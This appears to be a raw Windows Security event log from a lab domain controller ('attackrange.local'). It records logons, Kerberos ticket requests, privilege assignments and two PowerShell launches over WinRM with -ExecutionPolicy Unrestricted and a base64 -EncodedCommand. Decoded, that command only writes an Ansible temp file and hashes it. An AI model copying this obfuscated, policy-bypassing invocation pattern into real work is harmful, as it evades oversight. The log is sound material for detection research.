-03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252345 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159C5A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252344 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x159C5A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64629 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252343 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159C5A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252342 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159BF9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252341 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x159BF9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64628 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252340 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159BF9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252339 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1599E3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252338 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1599E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252337 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252336 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252335 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252334 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15935C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252333 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15935C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252332 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252331 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252330 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf14 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA5ADMALgAzADcANgA4ADUAMAA4AC0AMgA2ADUAMQA4ADkAMQAwADUANwA4ADkAOAAwADEAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf14 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA5ADMALgAzADcANgA4ADUAMAA4AC0AMgA2ADUAMQA4ADkAMQAwADUANwA4ADkAOAAwADEAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252327 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15914E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252326 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15914E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 